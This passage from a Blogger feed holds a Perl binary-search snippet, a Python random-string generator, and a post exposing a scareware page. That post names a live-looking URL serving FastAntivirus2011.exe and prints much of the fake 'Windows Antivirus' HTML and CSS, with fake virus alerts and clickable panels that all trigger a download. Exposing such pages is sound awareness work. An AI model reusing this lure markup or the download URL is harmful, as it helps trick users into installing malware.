"96467460",
"27314950",
"19656592",
"84564483",
"79966112",
"01388731",
"25049704",
"15696139",
"39722918",
"22080694",
"45668620",
"47334834",
"86945493",
"77950187",
"23749081",
"76593888",
"11185649",
"34320352",
"76220131",
"83124024",
"67549502",
"79348969",
"85612518",
"81958271",
"42047181",
"02138828",
"58731860",
"90757392",
"26055543",
"18294753",
"16550520",
"68997179",
"11557859",
"89236032",
"78761119",
"45078344",
"58350793",
"41448389",
"93928051",
"05611954",
"74822165",
"32493920",
"64859557",
"43629386",
"40294933",
"24735899",
"17790046",
"69668958",
"65646620",
"14662463",
"67771647",
"88873458",
"12498891",
"39826013",
"10131616",
"37950097",
"47579656",
"60554776",
"66799345",
"72659453",
"34980725",
"27037165",
"52907131",
"99112160",
"93202950",
"13324446",
"96271437",
"30291028",
"22606798",
"73129253",
"64496034",
"04108924",
"47779603",
"41901458",
"14190491",
"06895112",
"15508206",
"86588952",
"48276791",
"60120265",
"48712723",
"81915894",
"10159578",
"55809475",
"83468225",
"67467269",
"17469453",
"70525212",
"57201779",
"45660393",
"73933362",
"94260989",
"07848329",
"30319406",
"89138830",
"30731527",
"21932692",
"89661781",
"26143064",
"43355681",
"54467376",
"94608179",
"42003360",
"50892424",
"82545058",
"79868219",
"89424248",
"26531899",
"01625928",
"84607058",
"13877889",
"42448987",
"96274298",
"85582053",
"89902731",
"58405578",
"40043703",
"38088086",
"55745545",
"75754224",
"15430550",
"10110139",
"85800350",
"66874848",
"11197847",
"56485414",
"22829883",
"42852222",
"36272263",
"61935365",
"70881674",
"83340724",
"16035468",
"52328511",
"37386225",
"69860335",
"73649867",
"59896839",
"21073181",
"90897731",
"21077118",
"21050014",
"27353748",
"61895272",
"68669372",
"82470046",
"75925414",
"11079208",
"05273606",
"49965430",
"82107452",
"06218056",
"78638220",
"75567215",
"51477807",
"57419681",
"08598784",
"40740681",
"35757286",
"67917847",
"10210077",
"86763978",
"10222569",
"95974084",
"37703286",
"10770368",
"49127624",
"61927740",
"19679441",
"01174699",
"49310345",
"74987381",
"54164360",
"69183870",
"15579205",
"31803967",
"66551329",
"90202879",
"73676886",
"53602130",
"97203271",
"40794506",
"66968417",
"01654601",
"80883022",
"52744825",
"54170259",
"47235311",
"88627940",
"21140468",
"19967309",
"76223038",
"62803376",
"63153101",
"11573556",
"89034755",
"70003119",
"77655378",
"85501387",
"66281917",
"79780144",
"51412711",
"77562251",
"70460868",
"37163781",
"58789973",
"43206842",
"85659318",
"36933878",
"42776360",
"13558719",
"19037181",
"21137063",
"27303852",
"66937717",
"81834164",
"64989175",
"12233459",
"96651230",
"78166112",
"44255175",
"67243983",
"65363826",
"68637764",
"97186698",
"09657998",
"35679132",
"01873622",
"64982972",
"33306987",
"79786554",
"38701074",
"59650212",
"54629983",
"47570198",
"77980656",
"02810319",
"74713746",
"56552535",
"43597449",
"32574104",
"49488478",
"66048941",
"88581665",
"14660958",
"48725579",
"26443612",
"46674982",
"61927422",
"52835937",
"11905650",
"32292473",
"69643034",
"53148655",
"98179402",
"25683135",
"41645954",
"82556697",
"99496693",
"44128660",
"05344924",
"39184467",
"43340024",
"27787436",
"29215486",
"81782265",
"49731355",
"55906517",
"34223704",
"12352274",
"39200770",
"20845173",
"15443882",
"93025821",
"27755199",
"71412350",
"23086492",
"52908854",
"61599905",
"12557072",
"06325641",
"61838228",
"73100722",
"37751111",
"41748442",
"71575071",
"54110895",
"11821200",
"37324038",
"18952990",
"91246401",
"29364083",
"12378641",
"28991829",
"44396893",
"51490442",
"82602819",
"84510718",
"38624350",
"15275070",
"40271816",
"67290538",
"46583935",
"00761280",
"45512407",
"16322241",
"47549065",
"86317565",
"48869832",
"37739949",
"13899084",
"70839001",
"92698949",
"25773872",
"43543337",
"28092693",
"62282635",
"84788793",
"68360195",
"81094209",
"37030783",
"49456949",
"32182567",
"12609403",
"22390990",
"09052557",
"04494060",
"22537799",
"11808160",
"22525967",
"80927779",
"40607900",
"86981469",
"40176508",
"52181474",
"91985438",
"95394726",
"37414873",
"05394176",
"97163703",
"51693649",
"99390450",
"83073964",
"15353021",
"80013098",
"79191925",
"52736452",
"55329950",
"50908185",
"92769085",
"85254897",
"45064919",
"62660538",
"45477908",
"03383044",
"04528835",
"23798571",
"73772859",
"00269767",
"21967677",
"72626494",
"23933978",
"21181399",
"44455324",
"91998266",
"67601477",
"99392272",
"18794814",
"64201695",
"09117275",
"18513109",
"54506246",
"04233862",
"91065484",
"35173669",
"49882491",
"75757803",
"63472419",
"10842839",
"21363391",
"07040513",
"92867606",
"80009289",
"62792097",
"82711149",
"39770946",
"46240321",
"16198004",
"32673889",
"32571840",
"51578488",
"16666886",
"18715890",
"58305041",
"52563812",
"74476445",
"78378110",
"48950845",
"21181326",
"17599516",
"86421960",
"05877212",
"93808397",
"38124549",
"18114094",
"15181841",
"67281738",
"11033238",
"41999533",
"22661675",
"92919805",
"05096212",
"21089751",
"47676568",
"14777571",
"82728975",
"34713295",
"52881493",
"01873484",
"95390860",
"14255586",
"45061144",
"09505664",
"14386242",
"65139875",
"81479152",
"91148171",
"83278034",
"28632509",
"38713199",
"13388041",
"71886395",
"04474819",
"98271351",
"54549120",
"41931930",
"66478955",
"56247399",
"82552158",
"03131867",
"05669110",
"87746973",
"95776486",
"00263664",
"65386456",
"52849816",
"63767635",
"17110409",
"66118393",
"10489638",
"14735323",
"51176730",
"65781898",
"33491972",
"70527181",
"38978735",
"28146287",
"12218503",
"79255754",
"15871185",
"01393285",
"44357970",
"09364834",
"47434166",
"28488085",
"05212875",
"74928560",
"76954459",
"47791196",
"18150603",
"47825480",
"67801869",
"58940207",
"55119731",
"52316675",
"20435546",
"21083088",
"68067720",
"49508043",
"33497534",
"28487354",
"42893796",
"27485024",
"37422028",
"47305652",
"56417269",
"28879225",
"84878455",
"64321176",
"12076893",
"90453777",
"56333590",
"17309031",
"47669363",
"27008955",
"71649893",
"48860847",
"18083834",
"16534961",
"13280843",
"02420928",
"65804356",
"53570148",
"91401764",
"45170423",
"81806503",
"61562059",
"89934153",
"48686449",
"73923487",
"33397945",
"02936961",
"76077808",
"33901162",
"13229735",
"49617073",
"88424495",
"16413743",
"09325119",
"30762507",
"01011209",
"31112130",
"33533295",
"49045254",
"57988703",
"78472805",
"49758534",
"06547887",
"96626962",
"34307686",
"82104611",
"71148169",
"10748772",
"02619656",
"68622879",
"74966597",
"65570379",
"97009549",
"54365501",
"38731744",
"63541597",
"12828751",
"44381774",
"04954541",
"96402732",
"85093152",
"55746918",
"85408772",
"76483942",
"78790195",
"84015044",
"75018060",
"05611789",
"10546509",
"55495624",
"94054596",
"99589912",
"55668552",
"18509400",
"27885394",
"69309529",
"43586319",
"46743568",
"96910667",
"24270860",
"49728142",
"12532237",
"88958883",
"05618351",
"57579868",
"43086540",
"56334807",
"83308486",
"23171823",
"74599534",
"57241235",
"81736386",
"15280993",
"86953011",
"45281527",
"39300867",
"01053789",
"32793040",
"96302799",
"42829170",
"16749936",
"52868587",
"89480885",
"41968815",
"88101206",
"66949454",
"61038948",
"25921701",
"65441012",
"61903893",
"94958162",
"41203628",
"87967889",
"74686899",
"65999832",
"82348424",
"33928094",
"42283834",
"83043445",
"15334230",
"18178678",
"38809866",
"09173891",
"50016384",
"88503162",
"24564119",
"16556578",
"13715754",
"92584907",
"42685479",
"30410969",
"20023583",
"83504721",
"00618142",
"98721083",
"76685979",
"67144894",
"29018963",
"44553339",
"70253879",
"09211960",
"90864247",
"07045075",
"12518024",
"48816255",
"65134264",
"15798844",
"07522932",
"39508023",
"14764367",
"71818432",
"52512893",
"91407509",
"91842903",
"36856525",
"89830252",
"17893016",
"93720954",
"33143281",
"57160879",
"85299393",
"78016801",
"92573695",
"75559323",
"59630982",
"56210270",
"05469746",
"44945212",
"33295205",
"43705557",
"33628426",
"53284792",
"33792315",
"38233847",
"54341287",
"92993288",
"63847848",
"92996565",
"18308272",
"26587738",
"07159505",
"01740814",
"86392552",
"79550935",
"55251524",
"25638341",
"41599591",
"11561568",
"97507722",
"33770120",
"87257359",
"84580590",
"73717222",
"91242781",
"53800717",
"27602103",
"64286062",
"53028346",
"00361587",
"31848061",
"79395873",
"56516277",
"97499361",
"78537220",
"55820438",
"99143861",
"12605638",
"62038468",
"16921751",
"50877668",
"65714118",
"04868523",
"51017752",
"51805292",
"33392340",
"98011554",
"20223982",
"89363357",
"36922866",
"07379785",
"04776970",
"56701746",
"99406523",
"22486203",
"19988772",
"56097678",
"90924156",
"99156361",
"13540846",
"10559127",
"47153822",
"37539876",
"17653868",
"99252141",
"76844726",
"46152660",
"22974672",
"28801945",
"59359503",
"19982781",
"29257842",
"75274586",
"94038554",
"61453489",
"35429558",
"55423352",
"90631108",
"71534761",
"66391781",
"09737950",
"51351534",
"51473125",
"62490300",
"02926132",
"48364918",
"79868961",
"69632701",
"70212169",
"65042783",
"98773409",
"60516504",
"06414781",
"66522186",
"27396385",
"80720157",
"62123297",
"43243827",
"59184315",
"92892867",
"86091401",
"18732667",
"54749806",
"09060410",
"86693233",
"66276259",
"12477225",
"21119479",
"06252561",
"25448185",
"86645561",
"79505371",
"54438897",
"83690327",
"34452845",
"72914399",
"71725698",
"54679267",
"82538042",
"52893594",
"76673554",
"22111207",
"97720862",
"26867281",
"80511421",
"54558279",
"20854194",
"37611002",
"62303311",
"35723621",
"95272931",
"68872035",
"27361197",
"97372964",
"39577239",
"15285988",
"10116181",
"46930229",
"82474964",
"01849297",
"12552124",
"03572884",
"23968687",
"11880317",
"70428500",
"75027593",
"63279821",
"25617945",
"91055769",
"08053998",
"80653886",
"25246206",
"59468031",
"69000196");

my $start = [ Time::HiRes::gettimeofday( ) ];
@sortedNums = sort { $a &amp;lt;=&amp;gt; $b } @randomArray; # numerical sort 
my $elapsed = Time::HiRes::tv_interval( $start );
$sortElapsedTimeText="\tsort elapsed time: $elapsed seconds\n";
my $startBsearch = [ Time::HiRes::gettimeofday( ) ];
$results=bsearch($searchword,\@sortedNums);
my $elapsedBsearch = Time::HiRes::tv_interval( $startBsearch );
print "\t$results\n";
print $sortElapsedTimeText;
print "\tsearch elapsed time: $elapsedBsearch seconds\n";

print "\n\tbelow is the sorted list of numbers you searched against:\n\n";
foreach (@sortedNums) { print "\t\t\t$_\n";}

}


sub bsearch {
    my ($searchterm, $a) = @_;           
    my ($lower, $upper) = (0, @$a - 1);   
    my $index;                            
    while ($lower &amp;lt;= $upper) {
 $index = int(($lower + $upper)/2);
        print "\tlooking for $searchterm at index=$index point in between upper=$upper and lower=$lower\n";
 if ($searchterm &amp;gt; $a-&amp;gt;[$index] ) {$lower = $index+1;}
 elsif ($searchterm &amp;lt; $a-&amp;gt;[$index] ) { $upper = $index-1; } 
 else {return "\n\t\t&amp;gt;&amp;gt;&amp;gt; found $searchterm at line $index\n"; }
    }
    return "\n\t\t&amp;gt;&amp;gt;&amp;gt; did not find: $searchterm\n";        
}
&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7093359319812998391-4354401633421877279?l=small-code.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://small-code.blogspot.com/feeds/4354401633421877279/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7093359319812998391&amp;postID=4354401633421877279' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7093359319812998391/posts/default/4354401633421877279'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7093359319812998391/posts/default/4354401633421877279'/><link rel='alternate' type='text/html' href='http://small-code.blogspot.com/2011/06/binary-search-in-perl.html' title='Binary search in Perl, using CGI.pm and Ajax'/><author><name>this.is.lance.miller</name><uri>http://www.blogger.com/profile/09165673069819044872</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://3.bp.blogspot.com/_SwTDE8MkE0s/SaisyZzLBAI/AAAAAAAAAAM/u_hV97E8XMI/S220/Lance.Tokyo.Flight.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7093359319812998391.post-4502573248834945755</id><published>2011-06-16T06:35:00.000-07:00</published><updated>2011-06-16T06:36:46.439-07:00</updated><title type='text'>python: generate list of random alphnumeric strings</title><content type='html'>&lt;pre&gt;
#!/usr/bin/python

import random
import string

for x in range(1024):
 digits = "".join( [random.choice(string.digits) for i in xrange(8)] )
 chars = "".join( [random.choice(string.letters) for i in xrange(15)] )
 print digits + chars
&lt;/pre&gt;
&lt;p&gt;Example output:&lt;/p&gt;
&lt;pre&gt;
56985307qXISzpXPAVhoYok
67217516nEeRMLaPhAvtQQQ
84140559EBxosQvDFLHGRuf
86758787mSnrLIvfqupokXD
04359409JtSXkwjVHRXPLYw
99646628JSFuDhclDfgBJzv
&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7093359319812998391-4502573248834945755?l=small-code.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://small-code.blogspot.com/feeds/4502573248834945755/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7093359319812998391&amp;postID=4502573248834945755' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7093359319812998391/posts/default/4502573248834945755'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7093359319812998391/posts/default/4502573248834945755'/><link rel='alternate' type='text/html' href='http://small-code.blogspot.com/2011/06/python-generate-list-of-random.html' title='python: generate list of random alphnumeric strings'/><author><name>this.is.lance.miller</name><uri>http://www.blogger.com/profile/09165673069819044872</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://3.bp.blogspot.com/_SwTDE8MkE0s/SaisyZzLBAI/AAAAAAAAAAM/u_hV97E8XMI/S220/Lance.Tokyo.Flight.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7093359319812998391.post-4249816736825017688</id><published>2011-06-11T23:36:00.000-07:00</published><updated>2011-06-12T05:22:32.944-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='FastAntivirus2011.exe'/><category scheme='http://www.blogger.com/atom/ns#' term='malware'/><title type='text'>View source of a malware website: http://bzowwjcr.cz.cc/fast-scan/</title><content type='html'>&lt;p&gt;Note the following HTML source code has a javascript function called &lt;b&gt;download()&lt;/b&gt; and it points to URL &lt;b&gt;http://bzowwjcr.cz.cc/fast-scan/download.php?q=2&lt;/b&gt;, when your browser pings that URL you will download a file named &lt;b&gt;FastAntivirus2011.exe&lt;/b&gt;
 
&lt;/p&gt;
&lt;pre&gt;
&amp;lt;html xmlns="http://www.w3.org/1999/xhtml"&amp;gt;
&amp;lt;head&amp;gt;
&amp;lt;meta http-equiv="Content-Type" content="text/html; charset=utf-8"&amp;gt;
&amp;lt;meta http-equiv="Content-Language" content="en"&amp;gt;
&amp;lt;title&amp;gt;Windows Antivirus 2011&amp;lt;/title&amp;gt;
&amp;lt;style media="screen" type="text/css"&amp;gt;.root {
 width: 100%;
 height: 100%;
}

.backgroundOpacityLayer {
 background-color: #000000;
 position: absolute;
 top: 0px;
 left: 0px;
 width: 100%;
 height: 100%;
 opacity: 0.75;
 -moz-opacity: 0.75;
 -khtml-opacity: 0.75;
 filter: progid:DXImageTransform.Microsoft.Alpha( opacity = 75 );
 z-index: 50;
}

.foregroundContentLayer {
 position: absolute;
 top: 0px;
 left: 0px;
}

#loading {
 position: absolute;
 left: 45%;
 top: 40%;
 padding: 2px;
 z-index: 20001;
 height: auto;
}

#loading a {
 color: #225588;
}

#loading .blog1 {
 background: white;
 color: #444;
 font: bold 13px tahoma, arial, helvetica;
 padding: 10px;
 margin: 0;
 height: auto;
}

#blog2 {
 font: normal 10px arial, tahoma, sans-serif;
}&amp;lt;/style&amp;gt;&amp;lt;style media="screen" type="text/css"&amp;gt;@charset "windows-1251";div#imagesCssTestElement{width:2px;}div.backgroundOpacityLayer{display:none;}body{margin:0;padding:0;width:100%;height:100%;}html{height:100%;}.images_main{width:100%;height:100%;font-family:tahoma;font-size:1px;background:#fff;position:absolute;left:0;top:0;margin:0;}img{border:none;}.images_left{min-height:537px;height:100%;position:absolute;width:222px;background:#7190e0;z-index:1;}.images_spacer{width:1px;height:1px;font-size:1px;}.images_spacer15{width:1px;height:15px;font-size:1px;}.images_spacer53{width:1px;height:53px;font-size:1px;}.images_right{position:absolute;width:100%;min-width:572px;height:100%;margin-right:0;min-height:537px;top:0;overflow:auto;}.blog4 .left_icon_1,.blog4 .left_icon_2,.images_folder_1 b.icon,.images_folder_2 b.icon,.images_hdd_1 b.icon,.images_sec_1 b.icon,.cl_win_main .about b,.cl_infected_red b,b.threat{display:block;font-size:0;line-height:0;background-image:url(img4/icon_sprite.jpg);background-repeat:no-repeat;}b.threat{width:13px;height:16px;background-position:0 -160px;}.images_table,.images_scroll,.cl_win_main .about,.blog4,.cl_win_rightb,.cl_win_foot .downcornerl,.blog4 .images_top,.blog4 .images_bottom,.images_grad,b.del,.yellow_border .cornerup,.yellow_border .cornerd,.cl_win_foot .downcornerr{background-image:url(img4/main_sprite.jpg);background-repeat:no-repeat;}b.del{display:block;width:4px;height:20px;background-position:-513px -44px;}.cl_win_head .cornerr,.cl_win_head .cornerl,.cl_win_foot .downfon,.cl_win_head .fonup,.GridHead,.images_scroll_bg,.images_table_tr_1 td{background-image:url(img4/fill_sprite.gif);background-repeat:no-repeat;}
.blog4{width:186px;background-position:-1457px 0;background-repeat:repeat-y;position:relative;margin-top:7px;margin-left:6px;font-size:11px;padding-top:28px;padding-bottom:13px;padding-left:10px;line-height:1.4;padding-right:10px;margin-top:15px;}.blog4 .left_icon_1{width:16px;height:64px;position:absolute;top:35px;left:13px;background-position:0 0;}.blog4 .left_icon_2{width:16px;height:88px;position:absolute;top:35px;left:13px;background-position:0 -72px;}.blog4 
.images_top{position:absolute;left:0;top:0;background-position:-528px -20px;height:19px;width:192px;font-size:11px;font-weight:bold;font-family:tahoma;color:#345ab8;padding-left:14px;padding-top:4px;}
.blog4 .images_bottom{position:absolute;left:0;bottom:0;background-position:-734px -20px;height:2px;width:206px;font-size:1px;}.blog3{position:relative;font-size:11px;font-family:tahoma;color:#345ab8;padding-left:24px;height:17px;padding-top:1px;cursor:pointer;margin-top:6px;width:150px;}.blog3 img{position:absolute;left:0;top:0;}.blog5{position:relative;margin-left:240px;margin-top:10px;font-size:11px;font-weight:bold;}.blog5 span{color:#e20101;}.images_grad{width:329px;height:1px;line-height:0;font-size:0;overflow:hidden;margin-top:5px;margin-left:225px;background-position:-513px -43px;}.images_folders{overflow:hidden;zoom:1;}.images_folder_1{width:130px;height:38px;padding-left:45px;padding-top:10px;font-size:11px;left:250px;margin-top:15px;position:relative;float:left;}
.blog{height:16px;padding-left:20px;margin-top:5px;font-size:11px;font-weight:bold;color:#de0000;padding-top:2px;visibility:hidden;position:relative;}
.blog b{top:0;left:0;position:absolute;}.images_folder_2{width:140px;height:38px;padding-left:45px;padding-top:10px;font-size:11px;left:320px;margin-top:15px;position:relative;float:left;}.images_folder_1 b.icon,.images_folder_2 b.icon{width:37px;height:36px;background-position:-16px 0;position:absolute;top:0;left:0;}.images_hdd_1{width:150px;height:38px;padding-left:55px;padding-top:5px;font-size:11px;margin-left:245px;margin-top:10px;position:relative;}.images_hdd_1 b.icon{width:48px;height:26px;background-position:-16px -36px;position:absolute;top:0;left:0;}.images_sec_1{width:250px;height:38px;padding-left:55px;padding-top:10px;font-size:11px;margin-left:245px;margin-top:10px;position:relative;}.images_sec_1 b.icon{width:39px;height:48px;background-position:-16px -62px;position:absolute;top:0;left:0;}.community{height:14px;margin-top:5px;font-size:11px;font-weight:bold;color:#de0000;padding-top:2px;visibility:hidden;}.images_scroll{width:253px;height:17px;font-size:12px;font-weight:bold;background-position:-513px 0;margin-top:15px;margin-left:240px;padding-top:3px;padding-left:260px;position:relative;}.images_scroll span{position:relative;z-index:1;}.images_scroll_bg{position:absolute;left:5px;top:3px;width:0;height:15px;background-position:0 -111px;background-repeat:repeat-x;z-index:0;}.images_table{width:513px;height:211px;background-position:0 0;position:relative;margin-top:15px;margin-left:240px;visibility:hidden;}.blog6{margin-left:245px;font-size:11px;color:#4b4b4b;margin-top:2px;}.images_inner_table{width:480px;margin-left:15px;margin-top:48px;}.images_table_tr_1 td{background-position:0 -126px;background-repeat:repeat-x;font-family:verdana;font-size:11px;padding-left:8px;}.images_inner_table_cont{width:480px;margin-left:15px;height:97px;overflow:auto;}.images_inner_table_2 td{height:18px;padding-left:5px;font-size:11px;}.images_table_text{font-size:16px;color:#FFF;position:absolute;left:43px;top:8px;}.images_recommend{position:absolute;left:18px;bottom:15px;font-size:11px;cursor:pointer;}.images_start{position:absolute;right:15px;bottom:10px;cursor:pointer;}.images_left_border{height:100%;position:absolute;z-index:3;width:3px;background:#0731d9;left:0;top:0;}.images_right_border{height:100%;position:absolute;z-index:3;width:3px;font-size:1px;background:#0731d9;right:0;top:0;}.images_bottom_border{width:100%;position:absolute;z-index:3;height:3px;font-size:1px;background:#0731d9;left:0;bottom:0;}.images_main_content{width:800px;height:600px;position:relative;}.images_table_divider{background:url(img4/table_divider.gif);}#divider1{width:4px;height:20px;background-position:0 0;}#divider2{width:4px;height:20px;background-position:0 0;}#cl_alert{font-family:tahoma;}#cl_main{width:436px;height:350px;background-position:0 -20px;position:relative;}.close{width:25px;height:25px;position:absolute;top:0;right:0;cursor:pointer;}.move{width:410px;height:25px;position:absolute;top:0;left:0;}.spacer{width:1px;height:1px;font-size:1px;}  .text1{position:relative;margin-top:50px;margin-left:60px;width:355px;font-family:Verdana,Geneva,sans-serif;font-size:11px;font-weight:bold;color:#FFF;}.cl_viruses{width:410px;position:absolute;height:103px;top:135px;left:11px;overflow:auto;}.virus{float:left;width:280px;padding-left:5px;font-family:Tahoma,Geneva,sans-serif;font-size:11px;color:#F00;font-weight:bold;}.virusname{font-size:11px;}.text2{bottom:10px;left:50px;width:365px;font-size:11px;font-family:Tahoma,Geneva,sans-serif;position:absolute;}.remove{position:absolute;left:220px;top:250px;width:93px;height:22px;cursor:pointer;}.cancel{position:absolute;left:332px;top:250px;width:93px;height:22px;cursor:pointer;}.virus_1_1{padding-left:18px;position:relative;height:17px;padding-top:3px;font-size:11px;font-family:tahoma;}.cl_alert{width:436px;height:350px;margin-left:auto;margin-right:auto;}&amp;lt;/style&amp;gt;&amp;lt;/head&amp;gt;&amp;lt;body&amp;gt;
 

&amp;lt;!--[if IE]&amp;gt;
&amp;lt;style&amp;gt;
.images_scroll{width:513px;height:20px;font-size:12px;font-weight:bold;background-position:-513px 0;margin-top:15px;margin-left:240px;padding-top:3px;padding-left:260px;position:relative;}
.blog4{width:206px;background-position:-1457px 0;background-repeat:repeat-y;position:relative;margin-top:7px;margin-left:6px;font-size:11px;padding-top:28px;padding-bottom:13px;padding-left:10px;line-height:1.4;padding-right:10px;margin-top:15px;}.blog4 .left_icon_1{width:16px;height:64px;position:absolute;top:35px;left:13px;background-position:0 0;}.blog4 .left_icon_2{width:16px;height:88px;position:absolute;top:35px;left:13px;background-position:0 -72px;}.blog4 
.images_top{position:absolute;left:0;top:0;background-position:-528px -20px;height:19px;width:206px;font-size:11px;font-weight:bold;font-family:tahoma;color:#345ab8;padding-left:14px;padding-top:4px;}
.blog{width:120px;height:16px;padding-left:20px;margin-top:5px;font-size:11px;font-weight:bold;color:#de0000;padding-top:2px;visibility:hidden;position:relative;}
.images_folder_1{width:135px;height:38px;padding-left:45px;padding-top:10px;font-size:11px;left:250px;margin-top:15px;position:relative;float:left;}
&amp;lt;/style&amp;gt;
&amp;lt;![endif]--&amp;gt;

&amp;lt;div id="loading" style="display:none;"&amp;gt;
&amp;lt;div class="blog1"&amp;gt;
&amp;lt;img style="margin-right: 8px; float: left; vertical-align: top;" src="img4/loading.gif" height="50" width="50"&amp;gt;&amp;lt;br&amp;gt;
&amp;lt;span id="blog2"&amp;gt;Initializing Protection System...&amp;lt;/span&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;/div&amp;gt;

&amp;lt;div id="content" style="display:none"&amp;gt;

&amp;lt;div id="images"&amp;gt;&amp;lt;div class="images_main"&amp;gt; 
 &amp;lt;div class="images_left" id="images_left"&amp;gt;
  
  &amp;lt;div class="blog4"&amp;gt;
 &amp;lt;div class="left_icon_1"&amp;gt;&amp;lt;/div&amp;gt;
 &amp;lt;div class="images_spacer"&amp;gt;&amp;lt;/div&amp;gt;

  &amp;lt;div class="images_top"&amp;gt;System Tasks&amp;lt;/div&amp;gt;
 &amp;lt;div class="images_bottom"&amp;gt;&amp;lt;/div&amp;gt;
   &amp;lt;div class="blog3" onclick="download();return false;"&amp;gt;View system information&amp;lt;/div&amp;gt;
   &amp;lt;div class="blog3" onclick="download();return false;"&amp;gt;Add or remove programs&amp;lt;/div&amp;gt;
   &amp;lt;div class="blog3" onclick="download();return false;"&amp;gt;Change a settings&amp;lt;/div&amp;gt;
 &amp;lt;/div&amp;gt;
  &amp;lt;div class="blog4"&amp;gt;

 &amp;lt;div class="left_icon_2"&amp;gt;&amp;lt;/div&amp;gt;
 &amp;lt;div class="images_spacer"&amp;gt;&amp;lt;/div&amp;gt;
  &amp;lt;div class="images_top"&amp;gt;Other Places&amp;lt;/div&amp;gt;
 &amp;lt;div class="images_bottom"&amp;gt;&amp;lt;/div&amp;gt;
   &amp;lt;div class="blog3" onclick="download();return false;"&amp;gt;My Network Places&amp;lt;/div&amp;gt;
   &amp;lt;div class="blog3" onclick="download();return false;"&amp;gt;My Documents&amp;lt;/div&amp;gt;
   &amp;lt;div class="blog3" onclick="download();return false;"&amp;gt;Shared Documents&amp;lt;/div&amp;gt;

   &amp;lt;div class="blog3" onclick="download();return false;"&amp;gt;Control Panel&amp;lt;/div&amp;gt;
 &amp;lt;/div&amp;gt;
  &amp;lt;div class="blog4"&amp;gt;
  &amp;lt;div class="images_spacer"&amp;gt;&amp;lt;/div&amp;gt;
  &amp;lt;div class="images_top"&amp;gt;Details&amp;lt;/div&amp;gt;
 &amp;lt;div class="images_bottom"&amp;gt;&amp;lt;/div&amp;gt;
   &amp;lt;strong&amp;gt;My Computer&amp;lt;/strong&amp;gt;&amp;lt;br&amp;gt;

System Folder
 &amp;lt;/div&amp;gt;
 &amp;lt;/div&amp;gt;
 
 &amp;lt;div class="images_right"&amp;gt;
  
  &amp;lt;div class="images_spacer"&amp;gt;&amp;lt;/div&amp;gt;
  &amp;lt;div class="blog5"&amp;gt;System folders&amp;lt;span id="blog5_alert"&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;/div&amp;gt;
  &amp;lt;div class="images_grad"&amp;gt;&amp;lt;/div&amp;gt;
 &amp;lt;div class="images_folders"&amp;gt;
 &amp;lt;div class="images_folder_1"&amp;gt;

 &amp;lt;b class="icon"&amp;gt;&amp;lt;/b&amp;gt;
 Shared Documents
 &amp;lt;div style="visibility: hidden;" class="blog" id="blog"&amp;gt;&amp;lt;b class="threat"&amp;gt;&amp;lt;/b&amp;gt;&amp;lt;span id="123"&amp;gt;&amp;lt;/span&amp;gt;&amp;nbsp;Viruses found&amp;lt;/div&amp;gt;
 &amp;lt;/div&amp;gt;
 &amp;lt;div class="images_folder_2"&amp;gt;
 &amp;lt;b class="icon"&amp;gt;&amp;lt;/b&amp;gt;
 My Documents
 &amp;lt;div style="visibility:hidden;" class="blog" id="community"&amp;gt;&amp;lt;b class="threat"&amp;gt;&amp;lt;/b&amp;gt;&amp;lt;span id="567"&amp;gt;&amp;lt;/span&amp;gt;&amp;nbsp;Viruses found&amp;lt;/div&amp;gt;

 &amp;lt;/div&amp;gt;
 &amp;lt;/div&amp;gt;
 &amp;lt;div class="images_spacer"&amp;gt;&amp;lt;/div&amp;gt;
  &amp;lt;div class="blog5"&amp;gt;Hard drive&amp;lt;span id="blog5_alert"&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;/div&amp;gt;
  &amp;lt;div class="images_grad"&amp;gt;&amp;lt;/div&amp;gt;
 &amp;lt;div class="images_hdd_1"&amp;gt;
 &amp;lt;b class="icon"&amp;gt;&amp;lt;/b&amp;gt;
 Hard drive (C:)
 &amp;lt;div style="visibility: hidden;" class="blog" id="forum"&amp;gt;&amp;lt;b class="threat"&amp;gt;&amp;lt;/b&amp;gt;&amp;lt;span id="345"&amp;gt;&amp;lt;/span&amp;gt;&amp;nbsp;Viruses found&amp;lt;/div&amp;gt;

 &amp;lt;/div&amp;gt;
 &amp;lt;div class="blog5"&amp;gt;Security&amp;lt;span id="blog5_alert"&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;/div&amp;gt;
  &amp;lt;div class="images_grad"&amp;gt;&amp;lt;/div&amp;gt;
 &amp;lt;div style="background-position: 0px -566px;" class="images_sec_1" id="images_sec_1"&amp;gt;
 &amp;lt;b class="icon"&amp;gt;&amp;lt;/b&amp;gt;
 Windows Security
 &amp;lt;div style="visibility: visible;" class="community" id="community_1"&amp;gt;Security is affected by virus&amp;lt;/div&amp;gt;
 &amp;lt;/div&amp;gt;

 &amp;lt;div class="images_scroll"&amp;gt;&amp;lt;span id="images_scroll"&amp;gt;100&amp;lt;/span&amp;gt;&amp;lt;span&amp;gt;%&amp;lt;/span&amp;gt;
  &amp;lt;div style="width:0px;" class="images_scroll_bg" id="images_scroll_bg"&amp;gt;&amp;lt;/div&amp;gt;
 &amp;lt;/div&amp;gt;
